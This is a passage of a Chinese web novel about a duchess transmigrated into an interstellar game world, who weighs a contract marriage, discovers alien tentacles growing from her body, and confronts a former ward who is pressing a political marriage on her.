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“我知道,我会尽力做出弥补的。”毕竟她是一位公爵,总会有办法的吧?席暮想着。
“呵,公爵大人,网络可不像是现实,就算你再怎么禁止总会有漏网之鱼,更何况已经造成的伤害,弥补来不及吧?”
“……”席暮沉默。
“当然,我也知道,这些言语也对大人您造成了威胁,所以,我有一个双赢的好办法。”
席暮隐隐有了预感,果不其然,楚沛白的方法是,“继续履行您和小宁的契约如何?”
见席暮不回答,楚沛白微笑着接着道,“这件事我是无法逼迫大人答应的,所以还希望大人能够好好想想,楚家虽然现在有难,但是,瘦死的骆驼比马大不是吗?我想,大人你想要的那些,楚家还是可以提供的。”
“……好。”席暮深吸了口气,抬起头,“我会尽快给楚家主一个答复的。”
“希望大人能够想明白。”得到自己想要的回答之后,楚沛白心中大定,语气也随之一轻,“不过就算最后这桩婚事未成,那些谣言也还是需要压一压的,不知大人最近是否有空带小宁出去转一转?”
“明天就可以。”
“那好,明天早饭之后如何?”
看着楚沛白如此自然地替楚岁宁做了决定,席暮养崽的那根筋突然就动了,“不需要问问小少爷自己的意见吗?”
“嗯?”像是很惊讶的样子,楚沛白难得没有维持住自己的表情,颇为愕然。
尽管不明白席暮的用意,但楚沛白还是小心揣摩了一番心思,回了一句“小宁不会有意见的。”
啧,席暮盯着楚沛白,心里顿时不爽了起来。她的崽崽在她手里就是这么被养的?不能好好护住就算了,脾气还被养成那种软软的性格,太容易被人欺负了!而且,像这样的事情都不问崽崽的意见,还什么不会有意见,一言堂!
被谴责的目光扫过的楚沛白:……摸不着头脑……
不过席暮也没有多说什么,告辞回家了。她需要好好思考楚沛白的建议,结婚啊……
席暮有一个并不幸福的家庭,在亲眼见证了一些事之后,她对于爱情的态度可谓是厌恶至极,但是很矛盾的是,她又极度渴望亲情,这也正是她选择在游戏里养崽的原因。
可是婚姻不一样。
就这样,带着心事席暮回了房间,简单洗漱了一番之后打开光脑,继续浏览相关事情,尽管已经过去好几天了,但是这件事的热度并未下去,讨论的人甚至有上升的趋势。
席暮知道这些人里面一定存在一些故意捣乱的,但是大多数只是看热闹被吸引进来的,然后随波逐流发表了评论。
之前看到那些过分的评论,席暮只是有些生气以及愧疚,但在知道了被辱骂的人就是自己想养的崽崽之后,这些情绪被放大了不少,捏着眉心,席暮头痛不已。
难道真的要结婚?席暮摇头,很快就把这个想法抛到了脑后,除非真的没有办法了,否则席暮不会同意的。
席暮揉着额头,不由得在心里骂了几句原身,真是丢了好大一个烂摊子给她。穿来不过几天,麻烦事就没停过,搞得席暮都没时间去想任何有关蔺宵的事了,所以席暮根本不会想到,蔺宵还给她搞了个大惊喜。
5. 第 5 章
手指轻敲着桌面,席暮神情不断变化着。随着今天与楚岁宁对话的场景浮现,席暮突然冒出一个想法。这个想法一出迅速占据了席暮所有的思维。
前三个崽崽虽然让席暮失望不已,但是仍未压下席暮渴望亲情想要养崽的欲望,换句话说,席暮那就是记吃不记打,主打一个头铁。所以席暮觉得她或许有了一个两全其美的解法,只要楚岁宁同意。若是她的想法能够实现,那么既能满足自己养崽的愿望还能完美解决这场危机,到时候,自己一定要重新制定养崽计划!绝不能让之前的情景重演!
就是,席暮回想了一番楚岁宁如今的身形样貌,不由叹气,要是有办法把他变回八九岁的模样就好了,可惜……
勉强解决了这个问题,席暮便将注意力转到了今天提交上来的待处理事情和一些内幕消息上,尤其是在看到这条“领帮使者向陛下提出了联姻请求”信息之后,席暮眼皮一跳。
不会吧……蔺宵,别是你在搞鬼,席暮眯起眼睛,如果真的是你提出来的请求,那就别怪她不留情面了。
而在另外一边,宿初夏正在接见来自领邦的使者。“蔺大人,这是你们联邦的共同意思?”
不同于兰拉帝国的君主制度,邻邦却是共和国制,一般重大决定都是由商议决。但是联姻这样的决定,宿初夏很难想象她们是如何商议的。
“这是自然。”蔺宵冷着一张脸,淡然点头。
宿初夏眼中闪过一丝兴味,语气微微提起,“那不知联邦那边的联姻对象是?”
“是我。”蔺宵微微弯腰,以示敬意。
“哦?”有意思,宿初夏突然对这个联姻来了兴趣,侧身靠在椅子上,“那不知蔺大人属意的联姻对象是?”
“席暮,席公爵。”蔺宵极力压下心中涌现的不安,眼中涌现出一丝偏执。
更有意思了……宿初夏轻笑出声,“席暮确实极为出色,只是很可惜,她已经有结婚对象了。”
“据我所知,只是定有婚约而已。”蔺宵重点强调只是二字,他听见结婚对象这四个字就不喜欢,那个什么楚小少爷才配不上大人!
“蔺大人,这件事还是先搁置吧,毕竟这件事也需要知道席暮公爵她本人的意愿。”宿初夏很快将人打发走了,然后饶有兴趣地拨通了席暮的通讯。
“陛下。”
“你和蔺宵?”宿初夏也没卖什么关子,毕竟席暮可是她亲自培养提拔的自己人,“他想和你联姻。”
席暮眉头狠狠皱紧,“陛下,我不愿意。”
“好,我知道了,但是,最好有一个正当理由。”宿初夏颔首,“至于你和他的关系,我需要一个解释。”
“……”席暮敛去自己穿越这个事实,简短说了一遍前几天的事,当然,在席暮的描述里,绝不可能出现自愿二字。于是宿初夏听到的就是蔺宵利用身份想要强行将席暮留在身边。
宿初夏眯起眼,目光锐利。这种行为已经是在赤裸裸打她的脸了!而且,一个他国的使者是如何做到的?没有惊动任何人,甚至被强留的本人都有着恰到好处的理由。宿初夏看向席暮的眼神中多了些别的意味。
席暮内心怦怦直跳,她知道一切解释都是苍白无力的,后面是一连串的疑问。所以席暮在做出解释时就已经想好了该如何应对可能到来的盘问,但出乎她意料的事,宿初夏在短暂的沉默之后,竟什么都没问。
“他胆子倒是不小。”只留下一句低喃,宿初夏就冷着脸挂断了通讯。
虽然不明白原因,但目前看来可以先按住不动,静观其变。
通讯器屏幕映出席暮冰冷的神情,蔺宵……席暮咀嚼着这个名字,颇为咬牙切齿,等她解决了联姻这件事,她得好好想想该怎么让他得到教训,比起身体痛苦,席暮更喜欢心灵的折磨,但适当的身体教训也是必要的,不听话的孩子还是得打一顿才能出气啊。
当晚,处理完事情的席暮正在洗漱,低头的时候突然察觉身后有什么一晃而过。
席暮猛地转身,却没有发现任何异常,放出精神力探查也并无不对。
但席暮并未放下警惕,她侧对着镜子,精神集中,精神力一寸一寸开始检查。席暮从不怀疑自己的感觉。
从上到下,从左到右,席暮没有放过一个角落,但,仍然是什么都没有发现。
难道真的是错觉?席暮收回精神力,不由产生了疑问,但就在这念头产生的下一刻,席暮眼角余光就看见一片黑色的阴影在她身后升起,还在不断晃动着,像是在嘲笑席暮一般。
阴影一团飘在空中,但仔细看去就可以看到阴影中有着数条更为凝实的实体。
席暮在看见这团阴影的时候心一颤,隐隐有种肝疼的感觉。如果她没记错的话,她当初玩游戏通宵过剧情时打的就是这玩意吧?不好的回忆袭来,席暮屏气凝神,回忆了下游戏中公布的这玩意特性,稍微释放了些精神力进入阴影中,很快那些精神力就如同水滴落入大海,眨眼就消失不见。
然后下一刻,席暮就感觉到她的精神力链接到了某个生命体上。生命体的存在被阴影遮盖查探不了更多,但席暮能感觉到这个生命体似乎和她有着很深的联系,所以席暮只是稍微犹豫了下,就选择了继续注入精神力。随着精神力的输入,联系也变得愈发紧密,席暮可以清楚感知到从生命体上传来的没有理智的、冰冷的进食欲望,以及破坏欲。
生命体也终于从阴影中探出,展现了部分真实面貌。那是数根手腕粗细的黑色触手,触手上可见银色的花纹,随着席暮心绪的变化,触手也不断变换着舞动的姿态。
它传递了友善的情绪,仅针对席暮本人。
时间一分一秒过去,终于,席暮精神力的投入达到了一个界限,随着一声若有似无的叹息声响起,席暮总算彻底掌控了身后这团阴影。
席暮操控着阴影散去,愕然发现这些触手竟然是从她体内延伸出去的,是她身体的一部分。
席暮认识这些触手,那是被称为"异种"存在的显著特征之一。而"异种"正是当年入侵地星的外星怪物,她当初游玩的主线也包括消灭这些"异种"。
因此,席暮和这些“异种”可以称得上是死敌。而根据以前那个"席暮"的记忆,现如今"异种"再次席卷而来,肆虐在星际中,是陛下目前最头疼的麻烦。
这一刻,一股隐藏的狰狞恶意向席暮揭开了一角,席暮只觉背后发凉,不断冒出阵阵冷汗。
如果,如果席暮真的对这些异种深恶痛绝,那她在看到那阴影的一瞬间便会直接发动攻击。然而这团阴影是席暮精神力的一部分,触手是她身体的一部分,那么结果就是席暮自己重伤自己。
席暮陷入沉思,触手则因为她的思考也陷入了平静之中。
她为什么会长出触手?是因为她还是因为原主?席暮有一种预感,是因为她的到来才会诞生触手。
那原主“席暮
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”呢?她就全然置身事外,什么都不知道?想到原主的和蔺宵的交易,席暮直觉这背后必然有其他打算。席暮揉了揉眉心,她现在大脑发木,精神力的过多使用让她有些晕,所以席暮果断停止了思考。
伸手接了捧水浇在脸上,席暮随手擦去那些影响视线的水珠,往床的方向走去。那些触手席暮没有办法收回或者藏起,它们虽然是席暮的一部分,但好像也有着自己的思维,像个稚童对一切都充满了好奇,在席暮走到床边这短短几步路,它们就已经掠过了房间内的每个装饰。
幸好她及时关闭了房间内的智能管家,席暮想,要不然现在警报声恐怕就响彻天际了。
大脑已经传来刺痛感,席暮也懒得管这些触手,侧身一躺就准备睡下。一根触手突然伸过来戳着席暮的肩膀,似乎不满席暮的休息。席暮闭着眼睛随手拍开触手,不满的情绪瞬间传递给了所有触手。
那些正在探索的触手齐齐僵住,默默缩小了身躯蜷缩起来,重新消失在阴影中。等到席暮睡沉了,阴影中的触手开始膨胀,在无光的阴影中他们仿若看不见的幽灵逐渐探索遍这栋房的每个角落,那些仆从也没有被落下,只是它们并不喜欢这种食之无味的存在,便忽略了。
它们盯上了屋子内的智能生命,但很可惜,席暮为它们提供的能量还不足以支撑它们解析这种存在,于是,在屋子内留下了它们的印记后,它们便心满意足缩回了席暮体内。
而席暮,在一片昏沉之际,被拉入了某个虚幻的梦境。在梦中,席暮好像听到了祷告声,正在虔诚地呼唤某个存在。好恶心……席暮皱起眉,尽管她听不清那些祷告内容,但本能让她不适,她讨厌这些祷告,都给她停下!
“轰!”本来安静的夜晚突然响起一声惊雷,漆黑的夜幕上闪过片刻火红色的光晕。
楚岁宁从睡梦中被惊醒,视线在窗外转了一圈,从那些不断涌来的情绪中他捕捉到了一股来自认识之人的。楚岁宁稍微思索了下,是今天才见过的那位公爵。
对她的印象楚岁宁还算深刻。
“闻上去像是在做一个噩梦。”楚岁宁翻了个身嘟囔了一句,“还是祝她做个好梦好了。”
这一晚没能入睡的人很多,那些被异象惊醒的人更多,他们回想着天空中那火红色的光晕,只有极少数人把他们联系到了百年前的那位救世主身上。
第二天席暮在自己熟悉的生物钟上醒来,虽然还是有些微不适,但精神力已经基本恢复了。
“公爵大人,早餐已经准备好了。”向慧守在席暮的门口,见席暮出来,连忙开口。
可当席暮靠近时,向慧却下意识退后了几步,公爵大人的精神力压迫怎么又变强了。向慧一边在心里谴责自己的不称职,一边勉力维持着面上的微笑。
但与此同时,向慧心里也不免泛起了嘀咕,怎么会有人短短几天内精神力增长这么多?
不过向慧丝毫没有怀疑过眼前的人不是公爵,屋内的智能管家已经证实了席暮的身份。
在很早以前,人们将自己的能力称之为异能,但随着科技的进步,人类对于异能的研究越发深入,逐渐发现,一切异能的根本就在于精神力。
而每个人的精神力皆不一样,正因如此,精神力成为了分辨一个人真实身份最佳选择。
智能管家连接着家主人的精神力,唯有连接成功所有权限才会解锁。
向慧已经查看过了,权限没有问题。
6. 第 6 章
“我今天要带楚家小少爷出去转转,你有什么推荐吗?”席暮在餐桌边坐好开始享用早餐,然后想到今天的计划,她可对那些游玩地方一无所知,于是直接将这个话题甩给了向慧。
向慧没有丝毫惊诧,在短暂的思索之后直接在终端上列出了几个地点。
“这些地点都是推荐最多的约会地点,人流量非常可观。”
席暮瞥了几眼,公园、商场、游乐园,原来星际世界谈恋爱也就这几个地方可去吗?
席暮对这些地方没什么兴趣,但只要人流量够大就可以。于是,席暮随手一指,选了公园。
吃完早饭,拿上向慧提前准备好的礼物,席暮就出门了。
飞行器一路顺畅驶进了楚家,在会客厅席暮见到了今天的“约会”对象,楚岁宁。
看得出来他有被好好收拾过,一身小礼服衬得他格外矜贵,但楚岁宁本人却是一副困顿的模样,一直在不断伸手去揉眼睛。
“楚家主。”席暮上前递过礼物,楚沛白就这么看着席暮将礼物递到了她手上。
“……”楚沛白拿着礼物,看了眼席暮,笑了。
席暮不动声色打量了一番礼物,没问题啊,向慧挑的礼物很合适,楚沛白怎么是这个反应?
楚沛白按着太阳穴,轻轻推了推身边的楚岁宁,“小宁,今天要好好和公爵大人相处知道吗?”
楚岁宁点了点头,然后站到了席暮身边。
“楚小少爷要不要去换件衣服?今天的衣服虽然好看,但似乎并不利于行动。”席暮想到自己选的公园,又看了看楚岁宁身上的衣物,好心提醒了一句。
楚岁宁动了动胳膊,对席暮这个提议非常赞同,刚想赞同就嗅到了旁边飘来的无语、不赞同的情绪——来自楚沛白。
楚岁宁肩膀一塌,在心里无奈叹气,“没关系的席暮公爵,不会影响我行动的。”
席暮反正是劝了,听不听就与她无关了。
“那我们出发吧,楚小少爷。”席暮打开车门,让楚岁宁坐上后座。
眼看着席暮就要上车,楚沛白还是没忍住开了口,“席暮公爵,虽然知道您与小宁不算熟悉,但这个称呼是不是?”
席暮恍然,他们本来就是要去打破谣言的,这个称呼确实过分疏离,但是叫小宁?席暮皱起眉,叫不出口。
她养的崽,她一般都是喊小名或者崽崽的,也不合适。
“席暮公爵可以叫我平安,我以前的名字。”从席暮身上传来的纠结气息都打结了,楚岁宁连忙开口把人拉了回来。
“平安?”席暮喜欢这个名字,虽然简单但寓意很好,“你直接叫我席暮就好。”
“好的席暮。”楚岁宁点头,“那我们可以出发了吗?”
席暮拜别楚沛白,长腿一跨直接钻进了飞行器,没一会就驶远了。
楚沛白脸上的笑容顿时消失,她转身看着居住了多年的老宅,沉默良久。
飞行器开启自动驾驶功能,席暮座位一转,就变成了和楚岁宁面对面的一个状态。
“之前都是在和你的母亲在聊,还不知道你的想法。我们聊聊吧,平安。”
楚岁宁感受到了郑重,于是正襟危坐,双手交叠放在了膝盖上。
“好的席暮,你想聊什么呢?”
“聊聊我们的婚约?”相反,席暮就很自在了,飞行器内空间十分大,足够让席暮靠在椅背上还能伸直腿交叠在一起。
“你喜欢这个婚约吗?或者,你想要和我结婚吗?”席暮双手交叉放在下巴处,她仔细盯着楚岁宁的表情,企图从他的表情中看出些什么。
为了回应席暮的认真,楚岁宁认真进行了思考,“我觉得公爵你不是坏人,所以和你结婚是件好事。”
席暮神情微妙起来,她发现楚岁宁好像是认真的,她来了兴趣,“你是怎么知道我不是坏人?我的脸上写了字?”
楚岁宁做了个嗅闻的动作,"公爵身上的味道是旷野的风吹过的味道,很舒服干净,坏人身上是不会有这种味道的。"
席暮狐疑抬起手臂闻了闻,只闻到了衣物上的清香,至于什么旷野的风,那更是一点感受不出来,可她又不觉得楚岁宁的神情像在说谎,最后只能理解为个人特色,"是吗?那你这种判断方式还挺独特的。不过,我的问题是想问你的想法。"
"你想不想?"
楚岁宁揪住了自己的发尾,神情有些苦闷,他还记得楚沛白告诉他的话。啊!楚岁宁想起来了,面前的公爵已经换了个人,恐怕不记得这事,于是做出了提醒。
"可是,这不是交易吗?公爵为我提供庇护场所,楚家则为你提供支持。"
果然,席暮身上的味道变了,情绪像是打结的毛团,变得杂乱起来。
席暮正在努力调动原席暮为数不多的记忆,却找不到半点痕迹,这让席暮有些郁闷,这件事难道不重要吗?
但席暮不能表现出她不知道的样子,所以席幕只是挑了挑眉,顺着楚岁宁的话说了下去。"我当然知道,只要是交易也需要征询意见不是吗?"
楚岁宁没有错过席幕身上的情绪变化,这跟席暮的表情形成了鲜明对比,楚岁宁觉得这很有趣,不自觉就在面上体现了出来,他露出笑,颊边那个小小的酒窝露出来,"我知道了,我没有意见。"
席暮点头,然后示意楚岁宁接着说,虽然只是交易但登记领证毕竟是实打实的,一般来说心里总会有些想法吧。
但楚岁宁说完愿意后就闭上了嘴,等着席暮的下一个问题。
两人相对而坐,相顾无言。
“没了?”席暮挑眉,她伸出手指了指脑袋,“你就没有别的想说的吗?”
楚岁宁先是摇头,然后想是想起了什么,突然举起手,“公爵大人,请问我嫁给你之后你会限制我的睡觉时间吗?”
呃,席暮难以置信瞪大了眼睛,“你就只想问这个吗?”
楚岁宁绷着一张脸,无比严肃点头,睡觉对他来说就是很重要的事!
席暮扶住额头,叹气,“你想睡多久就睡多久,这点我不会干涉。”
“不过,我们之间的交易不一定会继续下去。”席暮还没有做出决定,她还是想找更万全的方法。
“好。”楚岁宁应了声,看不出什么意外神色。
至少席暮看不出什么情绪变化,于是席暮
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更加好奇了这个当事人在联姻这件事中真实想法究竟是什么了。
但现在,目的地到了,他们该下车了。
席暮挑选的公园是如今在网上最为出名的观景点,以植物的多样性出名,但与之相对的便是防护的严密。
每隔几步便有机械守卫守卫在那些植物旁边,人群和植物之间更是隔着一层厚厚的屏障。
席暮还记得楚家似乎就被誉为最爱护自然环境的家族,所以便准备以植物为话题打破她和楚岁宁之间尴尬的沉默。
周围不断有人将目光投向他们,他们要是一直没有交流,那今天就是白出来了。
“平安,这些植物你都认识吗?”席暮侧头去看身边的楚岁宁,却发现他好像对植物并不感兴趣,只一味向前走,目光都不在植物上停留的。
“你不喜欢植物?”
楚岁宁目光扫过那些郁郁葱葱的植株,脑中那些情绪明明是静默的,涌进他的脑中后却像是沸腾了一般,变成了嘈杂的吵闹声。
“不舒服吗?”席暮注意到了楚岁宁蹙起的眉头,之前一路上楚岁宁都没露出过这样的神情,于是席暮自然做出了猜测。
席暮环顾四周,找了个位置,“要去那边休息一下吗?”
“哦,哦”楚岁宁愣愣点头,顺着席暮的话就要往指的位置走,然后在稍微靠近了些席暮之后,楚岁宁只感觉那些涌入脑中的吵闹情绪突然静默了一瞬。
之后虽然又出现,但,似乎,好像比之前的声音小了些?
楚岁宁意识到了什么,又靠近了些席暮,果然,声音又变小了些。
楚岁宁眼睛一下子变得晶亮,毫不顾忌又走近了些。
席暮并不适应楚岁宁突然的靠近,下意识往后退了几步。
“啊,抱歉公爵大人。”楚岁宁感知到席暮的抗拒,便立刻拉开了距离,“我刚才发现离你近一些会让我变得舒服,所以自顾自走近了些。”
席暮被他的话吸引了注意,反而不在意这些了,“离我近一些会让你舒服?”
“嗯。虽然不知道为什么,但公爵你周围好像有一个屏障,我只要走进这个屏障就能过滤掉一些不想感知到的东西。”
‘感知到的东西?’席暮在心中重复了一遍这个说法,她想起来了,除去异能,在这个星际世界一些人是存在特殊能力的。楚岁宁也有?
“你能感知到什么?”既然楚岁宁已经透露出来,那么席暮就直接发出询问。
楚岁宁指着那些植物,“它们在吵架呢。”
难道这就是楚家的特殊所在?那些能够增强精神力的植物除了楚家,没有任何人能够培育出来,难道就是和这个能力有关?
席暮再次陷入沉思,只是这么重要的事,楚岁宁就这么轻易说出了口?
“这是你们向我表现的诚意吗?为了联姻能够继续?”席暮只能如此猜测,她看着楚岁宁,希望他能给出答案。
楚岁宁微微侧头,阳光映入那双黑色的眸中,便显出琥珀色来。
这双琥珀色的眸子转了转,然后直直对上了席暮的视线,而后眼睛弯起,“是啊公爵,毕竟得让你了解楚家能够支持你的底气。”
7. 第 7 章
“我记得楚家这次没有什么大麻烦吧?”席暮回去有紧急补习过楚家目前的处境,据她能了解到的信息,楚家犯下的错只是小问题,但怎么现在看起来事情很大?
难道这之间还有什么席暮无法了解到的内幕?
楚岁宁笑了笑,没有任何隐瞒,“如果母亲和公爵的交易能够达成,那么在我嫁给公爵之后,母亲便会带着楚家离开首都星。”
“为什么?!”席暮的震惊难以掩饰,离开首都星就等于脱离了政治权力中心,这是任何一个想要向上爬的家族都不会做出的决定。楚家的事这么大?
“母亲将奉陛下命去研究一些新型植物,为了对付星际间的异种。”楚岁宁用平淡语气说出了大新闻,“只是首都星中并不安全,所以必须离开。”
!!!不对劲。席暮挺直了后背,看向楚岁宁的目光里充满了探究。举家搬离却为什么偏偏留下一个楚岁宁?而且还需要找人庇护他?他有什么特殊?跟刚才透露的能力有关?
“那为什么留下你?”席暮这个人不喜欢这些弯弯绕绕,再加上目前为止楚岁宁给她感觉还可以,所以席暮问得直接,“因为你的能力特殊?”
楚岁宁点头,“楚家人能走,但楚家的根基无法挪动需要专人照顾。但楚家的敌人不少,若只将我留下太过显眼,所以需要一个理由。”
楚岁宁说话时席暮一直盯着他,不放过他的任何一个表情变化,席暮看不出一点说谎的痕迹。是她太久没有经历这些勾心斗角的事情所以分辨不出来,还是楚岁宁当真就这么说出了楚家的机密?
席暮很难相信楚岁宁,所以在知道楚家别有任务时她就已经决定,不能跟楚家、楚岁宁产生更多联系。她现在需要的是低调。
“我知道了。”席暮转身朝向出口方向,“我们换个地方?”
楚岁宁看上去一点意见都没有,就这么跟着席暮离开了公园。席暮甚至都有些怀疑楚岁宁是不是楚家培养的什么傀儡,好像没有一点自己的思想和坚持,问什么答什么,让做什么做什么,仿佛没有脾气一样。
老实说,席暮感觉自己医生心态又犯了,总觉得这样的孩子心里多少不健康,想要给人纠正回来。伸手拍了拍脸颊,席暮警告自己收起那些乱七八糟的想法。
好像在做菜啊……楚岁宁在心里感叹,公爵身上的情绪像是一道菜里加入了一堆调味料,噼里啪啦一顿爆炒,冲人。楚岁宁揉了揉鼻子,公爵不是能过滤情绪吗,要是能把她自己身上的情绪也滤一滤就好了。
之后席暮带着楚岁宁去了商场,在人们面前转了转,又去吃了顿饭,今天的这场约见就算是落下了帷幕。下午四点,席暮将人送到了楚家门口。
“谢谢你今天的配合,之后我会找人针对网络上的谣言进行处理。”席暮话中的意思已经偏向于这场交易可能无法进行下去了,她希望楚岁宁能够听懂她的未竟之言,先和楚沛白商量一下。
不过,楚岁宁能听懂吗?席暮抬眼看向已经有些困意的楚岁宁,不禁发出了疑问,他别是连她说了什么都没听清吧?
“楚岁宁?”席暮叫了声,既然已经脱离了大众的视野也就不需要伪装熟悉,席暮就没喊平安那个名字,哪曾想楚岁宁一点反应没有,席暮不由加大了声音,“楚岁宁?!”
“嗯?”楚岁宁从困意中挣脱,应了句,“我知道了公爵,你路上小心。”
说完,楚岁宁走出飞行器,快速走进楚家大门,背影消失在席暮的视线中。
席暮希望楚岁宁是真的明白她的意思,但既已如此就先不管了。席暮设置了新的目的地,现在,她要去收拾之前的逆子了。报仇要趁早,可不能等蔺宵跑了。
楚沛白一直密切关注着席暮和楚岁宁的行踪,因此早早坐在了沙发上等待楚岁宁的归来。见到人快步走近,楚沛白站起身,“怎么样?”
楚岁宁停下脚步,打了个哈欠,“看看有没有候选吧,席暮公爵没有继续合作的意愿了。”
楚沛白皱眉,席暮已经是她千挑万选能找到最合适的人选了,“真的没有任何可能了吗?”
楚岁宁摇头,楚沛白知道他的能力,只能无奈叹气,“要不我们就不离开首都了,做研究在哪里不是研究,决不能只留你一个人在首都星!”
楚岁宁无奈一笑,“有我在那些植物根本无法生长,没有必要做无效尝试。我留下只不过是监视,也不妨碍我什么,我再睡一觉就是了。”
“不行!”楚沛白下意识拒绝,楚岁宁怎么能睡,他若是睡了,下一批增强精神力的【月盈草】肯定无法按时种出,但等这些想法自楚沛白心里划过后,楚沛白才意识到什么,心中一慌,“……”
强迫自己定住心神,抛去那些情绪,楚沛白继续开口,“我会接着找人选的。”
“好。”楚岁宁也不戳破楚沛白,他是无所谓惯了,那些不好的情绪他自会屏蔽,“我困了就先去睡了。”
“那我就不叫人给你送晚饭了。”楚沛白知道每次去到人多的地方楚岁宁就需要睡眠来缓解,已经熟练掌握了楚岁宁的需求。
来自身体的疲倦席卷而来,楚岁宁再顾不上许多,侧身往沙发上一躺,眼睛一闭就失去了意识。楚沛白愣了一秒,随即便叫来人将楚岁宁搬回了房间。
作为来自邻邦的使者,蔺宵自然是有着专门的住处的。席暮什么也没带,甚至都没做什么准备,直接就杀到了蔺宵住的地方。
“席暮公爵?”接待处的工作人员有些意外席暮的到来,但她没有想太多,只以为或许是陛下派下了什么任务,“请问席暮公爵是为公务而来吗?”
“不,我找人。蔺宵在吗?通知他出来一趟,就说我找他。”席暮在大厅环顾了一圈,找了个最中心的地方坐下。
工作人员犹豫了下,还是给蔺宵发去了消息。
不过两分钟,蔺宵的身影就急切出现在大厅中。看到坐在那的席暮时,蔺宵呼吸一窒,眼眶瞬间泛红。
他以为,他以为如果他不使些手段,他再也见不到大人了……
席暮冲蔺宵招了招手,蔺宵惊喜交杂,迅速上前,然后乖巧站在席暮面前,站得笔直。
大厅内人虽然不多,但皆投来了诧异的目光。
席暮挑了下眉,蔺宵顿时明白了,立刻在席暮旁边坐下,换了副正经的表情。
“大……公爵大人,请问您今天来找我是有什么要事
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吗?”
“你和她的所有对话记录、任何有关你们交易的东西我都要一份。”席暮喝了口刚才工作人员送来的茶,慢条斯理开口。
“好。”蔺宵毫不犹豫应下,若是这些东西能讨大人欢心,那这些东西还算有用。
“我听说你提起了联姻?”席暮放下茶杯,语气虽然平缓,却让蔺宵心脏重重跳了下。
“是我错了,我做出了过界的事。”蔺宵毫不犹豫立刻先道歉,然后开始解释,“我只是害怕您不会再见我,我,我想再见您一面。”
席暮嗤笑出声,她抬眼看了眼四周,原本还会向他们投来视线的人现在仿佛忽略了他们,知道是蔺宵动用了异能屏蔽那些人对他们的感知。
于是席暮也不再顾及,她伸手重重拍了拍蔺宵的脸,留下一片红晕,“蔺宵,这是你第几次犯错了?”
“……”蔺宵低下头,看上去是在忏悔他的行为,但他眼中没有一丝反省,只有没有成功的后悔。
席暮哪能不知道他的心思,发出了无声冷笑,“辜原和骆景彦现在好吗?这些年过的怎么样?”
蔺宵表情扭曲了一瞬,为什么,为什么大人会关心他们?!明明他们跟他一样!这些事他们都有参与!
“为什么不说话?”
蔺宵咬着牙,但只能回答,“他们现在很好。”
席暮点头,手托着下巴自顾自道,“好久没见过他们了,也不知道他们现在长成了什么样。他们以前就比你要听话些,现在应该改掉了那些坏毛病。”
席暮语气里透出来的怀念让蔺宵越发难以控制住自己的情绪,嫉妒、不甘啃咬着他的心,“大人,他们才不是什么好东西!将大人召回的方法就是他们提供的!”
席暮眯起眼,忍住了怒火,“蔺宵,你从小就比他们会说话。”
蔺宵猛地抬起头,满脸受伤,声音都有些颤抖了,“大人是说我在说谎?大人觉得我比他们会骗人?”
席暮张了张口,欲言又止,最后只是叹息了一声便站起身,“算了,再追究也没什么意思。”
说完,迈步就要走。
蔺宵扑通一声跪下抱住了席暮的小腿,急切解释,“真的大人,我没有骗您,辜原和骆景彦才是主导,只是他们现在不便行动所以一切才交给了我,我不是说谎的坏孩子!”
蔺宵、辜原和骆景彦,辜原是三个孩子当中心眼最多也是最会伪装的,稍稍长大一些就已经是个笑面虎。
骆景彦最为沉默,但他直觉极为敏锐,最会趋利避祸。
蔺宵反而是他们当中最老实的那个,情绪也最好调动。
席暮一边在心里回想着他们三人的特征,一边回身弯腰,“好好好,知道了,起来吧。怎么还像个小孩子一样。”
“你不要想太多,我没有别的什么意思。只是我错过了你们太多的成长,感觉有些不了解你们了,还以为你们还和小时候一样。”席暮佯装遗憾,“蔺宵,你变了吗?”
“我没有变!我还是大人的好孩子,只要大人不丢下我!”蔺宵连忙保证,满脸期待。
“但你做错了事。”席暮丢下轻飘飘一句,“做错了事的孩子我不会要。”
8. 第 8 章
这一次席暮没有给蔺宵任何机会,直接踏出了蔺宵能力范围,在众人错愕的目光中离开了。
蔺宵站起身,撤去异能,装作若无其事回到房间内。但房门一关上,他就杂砸碎了房内所有装饰品。
“辜原!骆景彦!都是你们,都是你们害得!你们也别想好过!”
走出接待处,席暮还有些不过瘾,要是能动手就好了,可惜,毕竟蔺宵也是邻邦的使者。
不过这只是刚开始,席暮还有一连串想法打算在蔺宵身上试一试呢。
至于另外两个,席暮也不急,他们早晚会找到她面前,到时候席暮有的是机会。
席暮坐上飞行器刚想回家,就收到了来自宿初夏的信息。
“陛下召见?”席暮低喃出声,心里下意识开始盘算起一切可能,“楚家的事?难道楚岁宁领会了我的意思?速度这么快吗?”
席暮设定好地址,打开光脑,蔺宵已经将有关原主交易内容都传了过来。
席暮提起精神一字一句审视。
“太正常了。”这些对话没有一点异常,就像是一场简单不过的小生意,只不过一方交付身体,另一方则只是提供一个地点。
但正因如此,席暮才觉得这里面大有问题。
“什么叫‘我的使命已到来’?”席暮可不记得原主是什么信徒,而且这里蔺宵的回答也很有意思,“‘别拿辜原那一套糊弄我,我只要身体。’,看起来原主和辜原更熟悉啊。”
席暮揉了揉肩膀,如果她没记错,她就是在一场异常祭祀中救下的辜原。
那时,八岁的辜原被当做祭品献给了‘伟大天神’,以祈求除去他们身体上的异常——被外星文明改造后拥有的孕育生命的能力。
因为辜原是特例,他被检测出来无法孕育生命,改造在他身上没有任何用处。这让那个村子的男性看到了希望,并把辜原奉为‘伟大天神’的神子来对待。
这些经历让辜原格外厌恶那些邪/教,席暮难以想象辜原会去传播什么信仰。
正当席暮思索间,目的地已到。席暮走下飞行器接受检查。
“公爵大人,陛下正在花园内等您。”作为宿初夏一手提拔起来的下属,席暮对王宫内的建筑非常熟悉,所以在告知了席暮宿初夏位置之后,那位仆从就离开了。
席暮站在原地仔细浏览了一边记忆,才找到了去花园的路。
宿初夏坐在花园中央的凉亭内,喝着红茶。她没有穿正式的华袍,只着一条白金色的长裙,却不掩光彩。
继位四年,宿初夏今年也不过二十八岁,正值芳华。
“陛下。”席暮走近,按照贵族礼仪行了一礼,她有些好奇,宿初夏能不能认出她的不同。在记忆里,宿初夏和原主关系很不错。
宿初夏抬眼点头,示意席暮坐下。
“知道我突然找你是为什么吗?”
“因为和楚家的联姻?”
宿初夏又喝了口茶,“就在不久前,楚沛白向我提出更换联姻人选。这就是你的决定?”
“是。”席暮毫不掩饰自己的态度,“楚家的事比我想的更麻烦,我怕被牵涉。”
宿初夏挑眉,不动声色打量了一番席暮,手指在桌上敲击两下,“你知道了?我给楚家的任务。”
很聪明,席暮做出评价。席暮喜欢和聪明人打交道,说话格外轻松,“是。”
